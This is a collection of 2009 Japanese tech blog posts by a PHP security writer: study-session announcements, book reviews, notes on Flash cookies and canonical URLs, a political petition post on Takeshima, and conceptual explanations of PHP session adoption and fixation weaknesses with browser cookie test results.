追記:年度を一年勘違いしていたので修正しました。
フィードバックはまだありません...
コメントを残す
Drupal勉強会とその時の資料
Linux Foundationは全面的にDrupalと呼ばれるCMSに移行したそうです。日本のLinux Foundationも当然、Drupalに移行しています。そこでLinux Foundationの小薗井さんから一度講師をして欲しい、と頼まれていました。PHPカンファレンスにいったので、その次の日の日曜日、9月6日の勉強会に参加してきました。
外国人の方が多い、と聞いていたのですが本当に外国人の方の割合が多かった。20名弱(?)ほどのうち4名くらい(?)は外国人の方、日本人の方(?)でも帰国したばかりで日本語がたどたどしいと言われている方もいました。とてもインターナショナルな感じで学生のころを思い出しました。
ユーザ会のURL: http://groups.drupal.org/japan
勉強会の様子は次のような感じです。
その時に使った資料を公開します。
テーマはPHPを使った安全なWebプログラミングの概要です。
http://www.es-i.jp/files/Secure-PHP-Programming.pdf
かなり古い資料をリフレッシュさせたのですが、時代の流れを感じました。昔は「まあ、いいか」と判断していた部分も今でもは「絶対ダメ」になっていたりしました。とは言っても「Webアプリセキュリティ対策入門」はこれより新しく書いたもなので今でも十分通用します。ちょうど良い時期に出版したといえるのかも知れません。
資料にタイポや概要の説明であっても分かり辛い点と思える箇所などありましたら、ぜひ教えて下さい。
DrupalなどのCMSは興味の対象外だったのですが、NetCommonsといい個人的にはブーム(遅すぎ?)になっています。ToDoリストにやりたいことが山積みです...
1 コメント
コメントを残す
書評:Web+DB Press Vol. 52
随分前に頂いていました。遅ればせながら簡単な書評を書きます。
特集は以下の通り。
特集1 Javaプログラミングの習慣
特集2 Vimの流儀
特集3 データベースシステムの基本解剖 SSD投入で何が変わるのか?
...
「特集1 Javaプログラミングの習慣」ではプログラミング言語にはコーディングの習慣があり習慣を守る事により読み易く分かり易いコードになるとしています。確かにその通りで、現実の世界でも習慣的な言い回しを使う事によりスムーズにコミュニケーションできるようになります。
問題は習慣を知らない人がどうやって習慣を知るのか?です。よく「コードを読め」と言われますが、これはコーディングを知ると同時に習慣を知る為にも必要だからです。
Javaを習得したばかり、時々Javaプログラマの人にとっては有用な記事でしょう。
エディタは必要最小限のカスタマイズで使う主義な私ですが、最近のエディタはデフォルトが良く出来ていて本当にカスタマイズしなくなりました。「特集2 Vimの流儀」ではUNIX系OSなら誰でも使うviの改良版Vimの基本とカスタマイズ方法の記事です。
最近vimのフォールディングモードに騙されて、必要なチェックが全部省略(というか実行されないコード)されていると勘違いしてしまってブログに誤報を書いたりしていたので、この記事を読んだ機会に自動フォールディングモードをオフにしました。フォールドモードは15年以上も前に初めて使ったのですが、いまだに便利に思えないのは頭が固いのか?!エディタはできる限りデフォルト設定で使う派ですが、特に他人のコードを斜め読みしている時はフォールドは無効にしないととんでもない間違いの原因になります...
emacs派なのに何故vim使ってるの?と疑問に思った方へ。コンソールからemacsと叩くとGUIのemacsが立ち上がるのが面倒なだけです。
脱線しましたが、Vimの事はこの記事に書いてある事を知っていて使いこなせたら十分以上でしょう。
「特集3 データベースシステムの基本解剖 SSD投入で何が変わるのか?」これは注目記事でした。海外サイトのベンチマークではSQLiteはIntelのSSD導入でパフォーマンスが激増!などとレポートされていたので興味津々です。
まだ本格的なDBシステムでSSDを本格的に導入している所は少ないと思います。この記事はSSDの基本からアルゴリズムが与える影響まで解説した良い記事だと思います。
DBパフォーマンスにうるさい人にはお勧めの記事です。
3 コメント
.bashrcとかで環境変数DISPLAYがセットされていなかったらalias emacs="emacs -nw"とかすればいいのでは?
私は、「emacs -nw」でGUIで開かずに使用しています。
ついでに、「alias emacs="emacs -nw"」と設定してます。
昔はX版が重く感じたころまで使ってましたがすっかり忘れてました。ありがとうございます。
コメントを残す
第二回目のオープンラボ岡山は8月8日(土曜日)
告知の為のブログみたいになってきていますが、岡山のITとオープンソースの勉強会、オープンラボ岡山の第2回目です。
私は、前回Perlを使ったWebサイト構築のセキュリティで注意すべき点を紹介しました。今回は、RubyかPythonと思っていたのですが、DDDによるデバックを紹介してほしい、とリクエストがあったのでDDDによる簡単Cプログラムのデバック術、をテーマに話をします。
まだ、登録済みの参加者が少ないようです。長時間ですが、気楽な勉強会なので全く疲れません。都合良い方は是非どうぞ。
第2回 - オープンラボ岡山
開催日時
2009年8月8日(土)13:00-18:00
会場さんかく岡山 会議室A(定員50名)
http://www.city.okayama.jp/shimin/danjo/center/
参加費300円
参加者は運営委員を含めて参加費を負担していただきます。また(基本的には)当日の講師/発表者も参加費を負担します。
参加費は、会場にかかる費用等で変動することがありますが、500円程度を目安にご負担いただいております。
この参加費は、当日必要な経費(会場・プロジェクタ代)などに活用します。
余剰金がでた場合には、次回開催時の費用に当てます。懇親会
岡山駅近辺で考えています。
参加登録http://utage.org/enkai/menu.cgi?ENKAI_CODE=openlab01
主催オープンラボ岡山 実行委員会
共催* 岡山Javaユーザ会( http://java.okaya.ma/ )
* 瀬戸内Linuxユーザ会( http://www.stlug.org/ )
* LinuxKernelHackJAPAN( http://hira-consulting.com/wiki )
* オープンセミナー@岡山実行委員会( http://openseminar.okaya.ma/ )
* 日本PostgreSQLユーザ会 中国支部( http://www.postgresql.jp/ )
フィードバックはまだありません...
コメントを残す
オープンセミナー2009@四国
例年、香川県高松で行っているオープンセミナー2009@四国は今週末、7/25(土)午後からです。都合が良い方は是非どうぞ。
オープンセミナー2009@四国
オープンセミナーはオープンソースとインターネットをテーマにした無料セミナーです。このセミナーの企画と運営はオープンソースのユーザコミュニティのボランティアで行われています。昨年は香川県高松市、徳島県徳島市、岡山県総社市で開催され、今年も既に岡山県総社市で開催しており、徳島県徳島市にて開催予定です。首都圏ではこのようなオープンソースユーザコミュニティが主催するセミナーや勉強会は数多くありますが、地方ではまだまだ少ないのが現状です。すばらしい講師陣である事は講師名で検索して頂くと直ぐに分ります。コミュティ主催のセミナーに参加が初めての方もお気軽にお越し下さい。
■名称: オープンセミナー2009@四国
■参加費: 無料
■開催日時:2009年7月25日 13:00から17:00(受付 12:30〜)
■開催場所:サンポートホール高松 54会議
http://www.sunport-hall.jp/
サンポートホール高松 施設概要 各階平面図
http://www.sunport-hall.jp/shisetu/heimen/index.htm
■アクセス:JR高松駅より徒歩1分。
電車または車でお越し下さい。(有料駐車場あり)
http://www.sunport-hall.jp/shisetu/access.htm
■主催: 瀬戸内Linuxユーザ会(STLUG)http://www.stlug.org/
■共催: 日本PostgreSQLユーザ会 http://www.postgresql.jp/
岡山Javaユーザ会
四国BSDユーザ会(S*BUG)
■懇親会: 高松駅近辺。費用 学生3,000円 社会人 5,000円 (事前にお申し込みください)------------------------------------------------------------------------
■セミナー12:30- 受付開始
13:00-13:50
○講師: 吉田 和弘 様(日本Rubyの会/株式会社ミッタシステム)
「GPUプログラミング実践編」14:00-14:50
○講師: 片山 昌樹 様(有限会社マギシステム)
「ボット最新動向 〜米韓サイバー攻撃を読み解く〜」15:00-15:50
○講師: 相馬 純平様(アジャイルプロセス協議会)16:00-16:50
○講師: 澤田 潔 様(日本PostgreSQLユーザ会)
「PostgreSQLを安心して使い、性能を見える化する
〜OSSによる病院情報システム(HIS)の強化〜」
内容:
前半は、病院の基幹情報システム(電子カルテ)の隙間・谷間のサブシステムを、病院側のエンジニアが、オープン・ソース・ソフトウェアを活用して開発し、病院職員に満足されつつ、ささやかながらも医療の効率化に貢献した事例をご紹介します。
後半は、現在医療現場の課題となっている「安心・安全・透明性」に絡めて、PostgreSQLを題材に、データベースシステムを安心して使い性能を見える化する話題を提供し、参加された皆さんと議論を深めたいと思います。
16:50-17:00 閉会の挨拶------------------------------------------------------------------------
■問い合わせ先、懇親会申し込み先:
日本PostgreSQLユーザ会 四国支部 (株式会社Result内)
四国支部長: 山下 武志 TEL: 087-832-5527
メール:tyama@mbp.ocn.ne.jp懇親会費は学生 3,000円/社会人 5,000円を予定しています。
会場から徒歩で移動可能な居酒屋などを予定しています。
懇親会参加をご希望の方は以下のメールをお送りください。
.................................................................
To: tyama@mbp.ocn.ne.jp
Subject: [オープンセミナー2009@四国 懇親会 参加申込]
--------------------
※ 氏名(ふりがな): ( )
所属:
連絡先郵便番号:
連絡先住所:
Tel:
Fax:
※ E-Mail:〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜
山下武志
E-mail <tyama @mbp.ocn.ne.jp>
〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜
フィードバックはまだありません...
コメントを残す
書評:Ajaxセキュリティ
これは随分前に献本して頂いた本です。Amazonで調べるまで知りませんでした。5000円を超える本なのですね。(英語版は忘れてましたが$50です)しかし、その価値はあります。

実はこの本の原書を先に購入して読んでいました。原書/訳書ともに非常に良い本だと思います。
この本はAjaxセキュリティを理解する為に必要なAjaxアプリケーションの概要から説明しています。読者によってはこのような解説は不必要だ、と感じる方もいるとは思います。しかし、これからAjaxアプリケーションを作ろうとする開発者の為には必要不可欠な解説です。このような構成は、あまり好まれない(?)ようですが、私は必要かつ適切な構成だと思います。本当に不必要な方は読み飛ばせば良いだけです。
Ajaxセキュリティではない従来のWebアプリケーションセキュリティについても、一通り解説してあります。これも不必要と感じる方もいるかも知れませんが、Ajaxセキュリティは従来型のWebアプリセキュリティを抜きにして語る事はできません。一通り解説はしてありますが、具体的な対処方法などは書かれていません。しかし、問題を知れば解決策を見つけるのは比較的簡単です。
本題のAjaxセキュリティですがこちらは複雑化しているAjaxアプリケーションの多様なセキュリティ問題を取り上げています。非常の良くまとまっていると思います。Ajaxアプリケーションを構築する上で知っておくべき問題を網羅している、と言って良いと思います。
読者が不満に感じるとしたら、自分が使用している言語やフレームワークに対応した対策が具体的に書かれていない事かも知れません。この本はAjaxセキュリティ全般について解説した本であるため、特定の言語やフレームワークに依存した内容はあまり多くありません。
しかし、特定の言語やフレームワークに依存していない事によりこの本の寿命を長くしていると思います。英語版は2007年末、日本語版は2008年に出版されていますが、内容に古さは感じられません。
この本はリファレンス本ではありません。Ajaxセキュリティをつまみ食いしたい、と考えている読者には向きません。Ajaxセキュリティを基礎から学びたい人向けです。
Webアプリ構築の基本を学びこれからAjaxアプリを作る人にも、Ajaxアプリを既に作っている人にもお勧めできる本だと思います。
フィードバックはまだありません...
コメントを残す
書評:Web+DB Press Vol. 51
貰った本の書評は書く、という新しいポリシーを実行する為の書評第二弾です。

Web+DB Press Vol. 51の特集は「実践投入Rails」です。内容的にはこれからRailsを始める人にはぴったりな物となっています。既に使っている方でも、Railsの事なら任せておけ、という方でなければ役に立つ情報もあると思います。
個人的にこれは!と思った情報はコラムに記載してあったSinatraと言うRuby用のフレームワークです。特集の本文でなくて申し訳ない。このフレームワーク、著者の会社では人気が高いようです。
特集2は「巧いメソッド設計」です。オブジェクト思考開発が当たり前になっては居ますが、巧いコードばかりではありません。オブジェクト指向設計やオブジェクト指向プログラミングの入門書では、巧いメソッドをどのように作るのか、解説した本はあまりないように思えます。本があったとしても「既にオブジェクト思考プログラミングの技法やセオリーは習得済み」という方は本を買うのも億劫だとおもいます。巧いメソッド設計のヒントとなる記事が7本あります。
「Webサーバの負荷分散環境におけるデプロイ/ファイル転送」にはmakuosanというファイル転送ツールが紹介されています。またまた、本題に関係ないところで好感を持ってしまって申し訳ないですが、著者の方がdeamontoolsが好みである、とdeamontoolsを紹介しているところが気に入りました。
DJBを快く思っていない方もいるとは思いますが、deamontoolsは本当に良く出来たツールだと思います。食わず嫌いをせず、試してみると良いと思います。プロセスの実行監視機能とかは運用を楽にしてくれます。
Google App EngineのJava版の記事も参考になりました。まだ、使ってみていないので早く使ってみたいのですが、なかなか時間がありません。今月中には試してみたいですが、無理でしょうね...
フィードバックはまだありません...
コメントを残す
PHP6移行で増える脆弱なWebアプリ
PHP6のリリースはまだまだ先の話なのですが、PHP6への移行で脆弱なWebアプリが大量に発生する可能性があります。
理由は2つ
- mb_check_encodingで全ての入力文字エンコーディングが正しいかチェックしていない
- PHP6のhtmlentities/htmlspecialcharにはマルチバイト文字チェックコードが削除される
PHPのコードを書いている人も自覚していないと思いますが、この影響はかなりあると考えられます。
近日中にgihyo.jpのセキュリティブログに詳しい情報を記述します。
追記:PHP5.3のコードを見てみたら、バックポートすべきではないのにバックポートされてました。つまり、PHP6がリリースされたらと言う問題ではなく、今ある問題になっています。一応、改修を提案するつもりですがどうなるか判りません。
追記2:結構、ページビューが多いですね。心配される方もいるかと思いますが、「Webアプリセキュリティ対策入門」やgihyo.jp等で書いているように、mb_check_encodingで文字エンコーディングチェックしていれば影響は受けません。
追記3: 前に読んだ時は斜め読みだったので、もう一度コードをよく見てみると一応必要そうなチェックは入っています。決めうちしているのは別の部分だったので対丈夫でしょう。
フィードバックはまだありません...
コメントを残す
書評:PHP逆引きレシピ
献本を時々頂いており、書評を書かなければと思っていました。今まで、書評は書いていなかった方、申し訳ございません。
と言う事で、今後は頂いた献本は必ず書評を書く事にします。Web+DB Pressは毎月頂いているので毎月ですね。頑張らないと。という事で最初の書評です。ざっと斜め読みした書評です。詳しく読まれた方のフィードバックは大歓迎です。
普通の逆引きリファレンスなのかな?と思っていましたが、全く違った本でした。PHP開発環境の構築、PHPの構文、関数、PEAR、Webプログラミングの基本、セキュリティ、トラブルシューティングなど内容が盛りだくさんでした。
私も似たような本(PHPポケットリファレンス - 技術評論社)から出版させて頂いているので、この種類の書籍の執筆がかなり大変であることは良く知っています。これだけの内容をこの一冊にまとめたのは素晴らしいと思います。つまずいた時の時間節約の為に、初心者が購入する本としてお勧めできると思います。
一部の評価で「サンプルにSQLインジェクションの問題があり残念」と書かれているようですが、問題ないようです。私が見かけたブログには具体的な情報が記載されていなかったので判断できませんでしたが、実際には問題は無いようです。問題だと思う箇所があればコメントください。セキュリティの部分は私の著書である「Webアプリセキュリティ対策入門」- 技術評論社 を参考にしてくださったそうです。
インターネットで必要な情報をいつでも集められる、とは言っても断片的な情報が多く、本としてまとまっている事には価値があると思っています。この本では初心者の方が最初に「どうすれば良いの?」と思う部分を良くまとめています。
フィードバックはまだありません...
コメントを残す
オープンラボ岡山 第1回 7/18
「オープンラボ岡山」とは毎月1回、第三土曜日にICT関連の勉強をなんでも行う勉強会です。ロボットの制御、Web開発、言語、カーネル、データベース、セキュリティ、ネットワーク管理、システム管理、勉強したいことをなんでも勉強する勉強会です。
詳しい事はリンク先を見ていただくとして、7/13(土)午後から、参加資格なし(誰でもOK。だたし参加登録だけは必用。席の確保の為)、参加費は500円、懇親会ありです。
アナウンスが直前ということもありまだ、余裕がかなりあるようです。
私はPerlを使った安全なWebプログラミングをテーマに話をします。
フィードバックはまだありません...
コメントを残す
gihyo.jpにPHP 5.3の紹介記事を書きました
「PHP 5.3の新機能と変更点」と題した記事を書きました。
http://gihyo.jp/dev/feature/01/php53
レイトスタティックバインディングは何に使うのか?と疑問に思っている方も多いようです。新しい機能がどう使えるのか解説するとともに、追加されたモジュールや関数、削除された機能、注意が必用な変更箇所などを紹介しています。
4回に分けて公開されます。気がついた点などはメールかコメントを頂けるとありがたいです。
フィードバックはまだありません...
コメントを残す
第3回 はじめてのZendFrameworkアプリケーション
第3回 はじめてのZendFrameworkアプリケーション がgihyo.jpで公開されています。
http://gihyo.jp/dev/serial/01/zf-ajax/0003
コメント、質問、不具合など、気づかれた事がございましたらコメントを頂けると助かります。
次回はこのダメダメな初めてアプリケーションを少しマシにします。
その次は4/30にリリースされたZend Framework 1.8の紹介をします。
フィードバックはまだありません...
コメントを残す
デブサミ200 優秀スピーカー賞
今年のデブサミにはパネルディスカッションのパネラーの一人として参加していたのですが、そのセッションが優秀スピーカー賞に選ばれました。
デブサミらしく(?)表彰状はGoogle Docsで送られてきました。

パネルディスカッションを仕切った竹迫さんの戦略勝ち、という方が良いと思います。何はともあれ表彰して頂けてありがたいです。パネラの皆さん、またどこかでご一緒しましょう。
2 コメント
何はともあれおめでとうございます。
コメントを残す
オープンセミナー2009@岡山
今年もオープンセミナー2009@岡山を5月30日に岡山県立大で開催します。
午前は軽いライトニングトークと勉強会風のセッション、午後はセミナー形式のセッションになります。車で来る事もできるのでお気軽に参加下さい。
http://os2009.okaya.ma/wiki.cgi?page=%B3%AB%BA%C5%B3%B5%CD%D7
2 コメント
大分前にメール送りましたけど、名前のところの訂正と話す内容を案内に付け加えておいていただけると助かります。
コメントを残す
第01回 STLUG & セキュリティうどん勉強会 (5/17)
ブログ更新を随分していませんでした。リハビリに軽い物から再開したいと思います。
第01回 STLUG & セキュリティうどん勉強会が今月17日に香川県高松市で行われるそうです。
私も参加します(と、いうよりしたい)
OpenIDプロバイダー対応のアカウントを持っていれば何方でも登録できるようです。まだ、セミナー/懇親会共に空きが十分あるので、都合が良い方は是非どうぞ。
フィードバックはまだありません...
コメントを残す
Canonicalで重複URLを統一
http://googlewebmastercentral.blogspot.com/2009/02/canonical-link-element-presentation.html
では、サーチエンジンに登録されるURLをまとめる為に
<link rel="canonical" href="http://example.com/page.html"/>
というタグをheadに埋め込むとあります。この仕様は
http://journal.mycom.co.jp/news/2009/02/26/018/index.html
によると、Google、Yahoo!、Microsoftの三社で合意されたそうです。
このブログも
http://blog.ohgaki.net/
http://blog.ohgaki.net/index.php
http://blog.ohgaki.net/index.php?no_such=value
等のURLでアクセスできるのですが、
<head>
<link rel="canonical" href="http://blog.ohgaki.net/ "/>
</head>
と入れておくと同じURLとしてサーチエンジンで処理してくれるそうです。
フィードバックはまだありません...
コメントを残す
竹島の日: 日本の領土は日本人しか守れない
日本青年会議所が主催者となり、不法占拠されている日本の領土を守るためのオンライン署名が行われています。オフラインも署名が行われているようです。
私たちの 領土:いえ は 私たちで守ろう
企画者: 社団法人 日本青年会議所
提出先: 内閣総理大臣
開始日: 2009年02月07日
我が国には北方領土及び竹島、尖閣諸島といった多くの領土・領海問題が存在しますが、日本の領土であることは事実であります。交渉相手の軍事大国でもある隣国を含む国際社会に、日本国ははっきりと自国の主張をしていかなくてはなりません。その主張を後押しするのが国民世論です。そのためにも私たちは、領土と領海を正しく認識し、国家国民が同一の見解を持って問題解決に向けて取り組んでいくべきであると考えます。
その第一歩として、世論を高めるための署名運動を実行します。
北方領土の返還と、竹島の開放を要望します
国境の離島を守るための政策の策定を要望します
http://www.shomei.tv/project-652.html
2月22日を政府制定の竹島の日に!
企画者: 2009年度(社)日本青年会議所中国地区協議会領土領海問題会議
提出先: 外務省、及び内閣府
開始日: 2009年02月07日
署名運動趣意書、並びに署名のお願い■知っていますか? 2月22日は竹島の日
竹島(島根県隠岐郡)が韓国に不法占拠されていることの認知向上を目的に、2005年島根県議会が2月22日を「竹島の日」とする決議を採択しました。その後、韓国政府や韓国国民が竹島の日制定に対して強い抗議を行い、国際問題となったことはみなさんの記憶に新しいことと思います。島根県においてその後も毎年2月に竹島の日記念式典が行われ、この竹島問題を啓発する運動を継続して行っています。しかしながら、竹島における韓国の不法占拠の状況は変わらず、残念ながら私たちの国土が戻ってくる気配はありません。
http://www.shomei.tv/project-737.html
竹島は日本の領土です!(島根県)
http://www.pref.shimane.jp/section/soumuka/shucho/
竹島問題(外務省)
http://www.mofa.go.jp/mofaj/area/takeshima/index.html
Dokdo-or-Takeshima? (双方の立場からの議論 - 英語・日本語・韓国語サイト)
http://dokdo-or-takeshima.blogspot.com/
竹島や北方領土は不法占拠されています。外国の侵略行為を許していたため、韓国では対馬も韓国領土だと主張せよ、韓国の国会議員が主張する状況です。さらに尖閣諸島の海域に地下資源が豊富であることが判明すると、尖閣諸島は日本固有の領土であるにも関わらず、中国が領有宣言しています。最近では沖縄は中華文化圏だ、とも言いはじめています。侵略行為はとどまる所を知らずにエスカレートしていると感じるは私だけではないと思います。
平和な日本を維持し子供達に平和な日本を受け継ぐ為には、日本の世論が「日本の主権は日本人が守る」と強く主張しなければなりません。
何もしないのは侵略を受け入れ平和と安全を放棄するのと同じです。
主権とは領土であり国民です。領土も守れない国が国民を守れるはずがありません。
日本の領土は日本人しか守れません。
竹島の日に見ると良い動画を紹介します。硫黄島の話です。
http://www.youtube.com/watch?v=INiuEmtsJtM
子供たちの未来の為に日本を守る責任が大人にあります。
1 コメント
わたしのおうちはどこですか?(1.1)領土問題を分かりやすく解説したJCI(日本青年会議所)の啓蒙ビデオです。こちらも参考になります。
コメントを残す
Flashのセキュリティ設定 - Flash Cookie
Flash Playerの設定はAdobe(Macromedia)のページで行う事は、Web開発者には常識だと思います。このブログをあまり一般的なユーザが見ている、とは思えませんが一般ユーザ向けに書いています。
Flashの設定は以下のWebページから行います。
Flashセキュリティ設定のページ(MomongaLinux x86_64+Flash10 Alpha)

http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager03.html
デフォルトで「サードパーティ製のFlashコンテンツにコンピュータ上のデータを格納する事を許可します」にはチェックが入っています。
これはFlash Cookie(ローカル共有オブジェクト - SharedObject)とも呼ばれているFlash用のローカル(ブラウザを実行しているPC)ストレージです。ブラウザのクッキーはたったのサイトあたり4KBしか利用できませんが、Flashはデフォルトで100KBまで使えます。
...
他のタグを見るとデータを保存しているサイトが一覧できます。フラッシュを利用している様々なサイトがFlash Cookieを利用している事がわかります。主な用途は状態の管理やマーケティング目的のユーザトラッキングです。
クッキー、JavaScript、画像でもユーザトラッキングが可能なのでFlashだけに目くじらを立てても意味がありません。しかし、気になる方は「サードパーティ製のFlashコンテンツにコンピュータ上のデータを格納する事を許可します」のチェックを外すことによりこの機能を無効化できます。
無効にしても、Flash Cookieが必要なサイトでは許可を求めてくれます。無効にして困ることもありません。
このブログを書いているFirefoxでは開発や執筆作業しかしないので、多くのサイトをブラウズしていないのですが、それでも結構な量のFlash Cookieが保存されています。気になる方は時々チェックするか、Flash Cookieを無効にするのも良いかも知れません。
フィードバックはまだありません...
コメントを残す
Strict Sessionパッチ - PHP 5.2.8
PHP 5.2.8がリリースされてしばらくたち、既にPHP 5.2.9RC1が出ています。更新が遅れていましたが、PHP 5.2.8用のStrict SessionパッチをWikiに入れておきました。
http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2FStrictSession
フィードバックはまだありません...
コメントを残す
「ハッカー」に逆襲、パスワード盗み返す 中3書類送検
今年、流行するだろうと予測していることに、素人によるWebアカウントのクラックが増える、があります。
少年はゲームの動きが悪くなったことからキーロガーに気づき、ソフトを解析。操作の履歴の送付先になっていた男性のメールアドレスやID、パスワードを割り出したという。
http://www.asahi.com/national/update/0205/NGY200902050001.html
キーロガーを送りつけられ、それに気づいた中学生が犯人を割り出して、逆にクラックした事件だそうです。加害者でもあり、被害者でもあるクラッカーは気が付かなかったようなのでスクリプトキディーだとしてもなかなかのものです。
Webアカウントのクラックはもっと簡単です。パスワードが盗めたり、セッションが盗めるサイトは多数あります。パスワードは結構簡単にクラックできます。例えば、md5でハッシュ化しているパスワードで小文字アルファベットと数字だけ(1-8文字)
abcdefghijklmnopqrstuvwxyz0123456789
の辞書サイズはたったの36GBです。(単純にハッシュ化したデータを保存している訳ではないので解析できる可能性は99.904%) オンラインで巨大な辞書(レインボーテーブル)を公開しているサイトもあるので自分で辞書を作る必要もありません。
この少年がWebアカウントでなくWindowsアカウントですが、関連事例として書いておきます。
フィードバックはまだありません...
コメントを残す
Zend_Toolの使い方 - パスに入れない
Zend_ToolのzfコマンドがZendFrameworkのバージョンによって使えたり、使えなかったりする問題で困っていたのですが原因が分かりました。
Zend_Toolのzfコマンドでプロジェクトを作成すると
$ zf create project
ZendFrameworkのファイルをカレントディレクトリのlibraryに全てコピーします。プロジェクトの雛形にはapplication/boostrap.phpが含まれ、ここでinclude_pathが設定されます。boostrap.phpは、エントリポイントとなるpublic/index.php
// @see application/bootstrap.php
$bootstrap = true;
require '../application/bootstrap.php';
から毎回必ず呼ばれるので
// you may wish to add other paths here, or keep system paths: set_include_path('../library' . PATH_SEPARATOR . get_include_path()
set_include_path('../library');
ZendFrameworkのアーカイブはどこに展開しても構わないようになっています。
この事は知っていたのですが、zfコマンドを使わないでZendFrameworkを使えるよう、PEARをインストールしたディレクトリにlibrary/Zendディレクトリをコピーし、デフォルトのphp.iniでinlcude_pathに設定してZendFrameworkを使うようにしていました。
これがどうもダメだったようです。Zend_Toolのディレクトリ構成を見て、似通った構成だったのでもしかして、と思いinclude_path設定を変えて試してみました。すると動かないと思っていたバージョンでもzfコマンドが動作するようになりました。インクルードパスにZendFrameworkのライブラリをパスにいれると、意図しないスクリプトが読み込まれてエラーになったりしていたようです。中途半端に動く物もあったりしたのでですが「previrew版だから仕方ないか」と思って詳しく調べていませんでした。これで一つすっきりしました。
Zend_Toolを試す場合、ZendFrameworkのZendディレクトリはinclude_pathに入れないようにした方が良いようです。基本的な事ですが、探しても情報が見つからなかったので書いておきます。
1 コメント
コメントを残す
Session Adoptionが攻撃に有用な実例
PHP:既知のセキュリティ脆弱性 - Session AdoptionでWebmailアプリケーションであるSquirrelMailとRoundCubeがこの攻撃に脆弱であることを紹介しました。
タイミング良く(?)同じくPHPベースのWebmailアプリであるIMPにクロスサイトスクリプティング脆弱性が発見され修正されました。(IMP-4.3.3未満/IMP-4.2.2未満)
試しに、ソースコードをチェックしてみました。
...
IMPはsession_regenerate_idを呼び出しています。この為、SquirrelMail/RoundCubeと比べるより安全です。しかし、対策は十分ではありませんでした。
PHP:既知のセキュリティ脆弱性 - Session Adoptionで紹介した簡単なテスト結果では
MomongaLinux5 64bit
| Firefox 3.0.5 | www.example.co.jp のクッキーが優先される |
| Konqueror 4.1.0 | www.example.co.jp のクッキーが優先される |
WindowsXP 32bit
| Firefox 2.0.20 | co.jp のクッキーが優先される |
| Internet Explorer 6.0 SP2 | example.co.jp のクッキーが優先される |
| Internet Explorer 7.0 | クッキーが設定されない。example.co.jp には設定される。 |
| Internet Explorer 8.0 beta1 | example.co.jp のクッキーが優先される |
| Safari 3.2.1 | co.jp のクッキーが優先される。 |
| Opeara 9.5.0 | www.example.co.jp のクッキーが優先される。 |
| Google Chrome 1.0.154.43 | example.co.jp のクッキーが優先される |
のような結果になっています。
webmail.example.com
のようなドメイン名を持つサイトも多いでしょう。クロスサイトスクリプティングにより、半永久的なIDの乗っ取りを可能とするような脆弱なIMPとブラウザは
- Firefox2
- Internet Explorer6/8
- Sarafi
- Google Chrome
になります。
Webmailシステムはもっともセキュリティに敏感でなければならないWebアプリの一つですが、そのようなアプリでもこの状態です。
簡単なソースコードチェックでも、アプリケーションに潜む脆弱性を検出できてしまいます。セミナーなどでソースコードレベルでの監査の重要性を解説しています。残念ながら、まだその重要性が正しく理解されているとは思えません。
2 コメント
>IMPはsession_regenerate_idを呼び出しています。この為、SquirrelMail/RoundCubeと比べるより安全です。しかし、対策は十分ではありませんでした。
どのような点で十分でないのでしょうか?
親ドメインのクッキーが優先されるブラウザがあるので、親ドメインのクッキーを削除しないと、セッションアダプション脆弱性のお陰で、セッション固定化攻撃が可能にになります。
パッチ済みのPHPなら攻撃用のセッションIDでセッションが初期化できず、ログインできないので攻撃されません。
コメントを残す
In Session Phishing
リンク: http://www.trusteer.com/files/In-session-phishing-advisory-2.pdf
In Session Phishingという興味深いアドバイザリが公開されています。
具体的な記載はありませんが、現在広く利用されているInternet Explorer, Firefox, Safari, ChromeでJavaScriptを利用するとユーザが特定のサイトにログインしていたか判別できるようです。
Recently Trusteer CTO Amit Klein and his research group discovered a vulnerability in the JavaScript engine of all leading browsers - Internet Explorer, Firefox, Safari, and Chrome - which allows a website to check whether a user is currently logged onto another website. The source of the vulnerability is a specific JavaScript function. When this function is called it leaves a temporary footprint on the computer and any other website can identify this footprint. Websites that use this function in a certain way are traceable. Many websites, including financial institutions, online retailers, social networking websites, gaming, and gambling websites use this function and can be traced.
ユーザが訪問したことがあるサイトを検出する方法はあります。訪問済みのURLは色が変わることを利用して検出します。マーケティング目的で実際に利用されています。しかし、この方法ではユーザが実際に今ログインしているかどうかは判別できません。アドバイザリによると、ログインしているかどうか判別できる足跡が検出できる、としています。
自分がサイトにログインしている最中に「現在、攻撃されている可能性があるので再ログインをしてください」とメールを送ればより効果的なフィッシングが行えます。
もうしばらくすれば詳細が明らかになるかも知れませんが、最近のブラウザ全てに影響するようなのでJavaScriptやDOMの仕様に関係する問題の可能性が高いです。その場合は簡単に修正できない可能性がかなり高いのではないかと思います。
フィッシングでなくてもマーケティング目的で利用されそうな気もします。
フィードバックはまだありません...
コメントを残す
PHP:既知のセキュリティ脆弱性 - Session Adoption
PHPには広く知られているにも関わらず放置されている既知のセキュリティ脆弱性が幾つかあります。その一つがセッションモジュールのセッションアダプション(Session Adoption)脆弱性です。この脆弱性は現在広く利用されているWebアプリケーションの安全性に、非常に大きな影響を与える脆弱性です。
セッションアダプション脆弱性とはセッション固定化攻撃を可能とする脆弱性の一種です。セッションアダプションに脆弱なセッション管理システムは、ユーザ(ブラウザ)が送信してきた未初期化のセッションIDを受け入れ、セッションを初期化してしまいます。PHPに限らず、RailsやJavaのフレームワーク等、多くのWebフレームワークに発見されている脆弱性です。
セッションアダプション脆弱性を利用すると、攻撃者は長期間に渡って他人のIDを使う成りすましが可能になる場合があります。IDを盗みたい犯罪者には利用価値の高い脆弱性です。
この脆弱性は、10年以上前から問題視されている国別TLD(ccTLD)の属性ドメイン(国別Top Level Domain, co.jp, or.jpなどのドメイン)にも下位ドメインからクッキーが設定でき、サブドメインのクッキー設定が無視される(送信順序、優先順位がいい加減)、というとんでも無いクッキーの仕様と組み合わせると、大量の他人のユーザセッションIDを取得(設定)し、成りすます事ができます。
セッションアダプション問題は全てのPHP、PHP 4.4.9/PHP 5.2.8/PHP 5.3/PHP 6.0に共通する脆弱性です。
最近、影響範囲はかなり狭くなりましたが、まだまだ注意が必要な脆弱性であり、根本的な解決にはパッチと適切なセキュリティ対策が必要です。
...
国別TLDの属性ドメインにクッキーが設定できるバグはFirefox2を最後に広く使われているブラウザにはこの「仕様」は無くなりました。Firefox3のリリースにより、国別TLDの属性ドメイン問題はやっと、ほぼ解決した、と言える状態になりました。
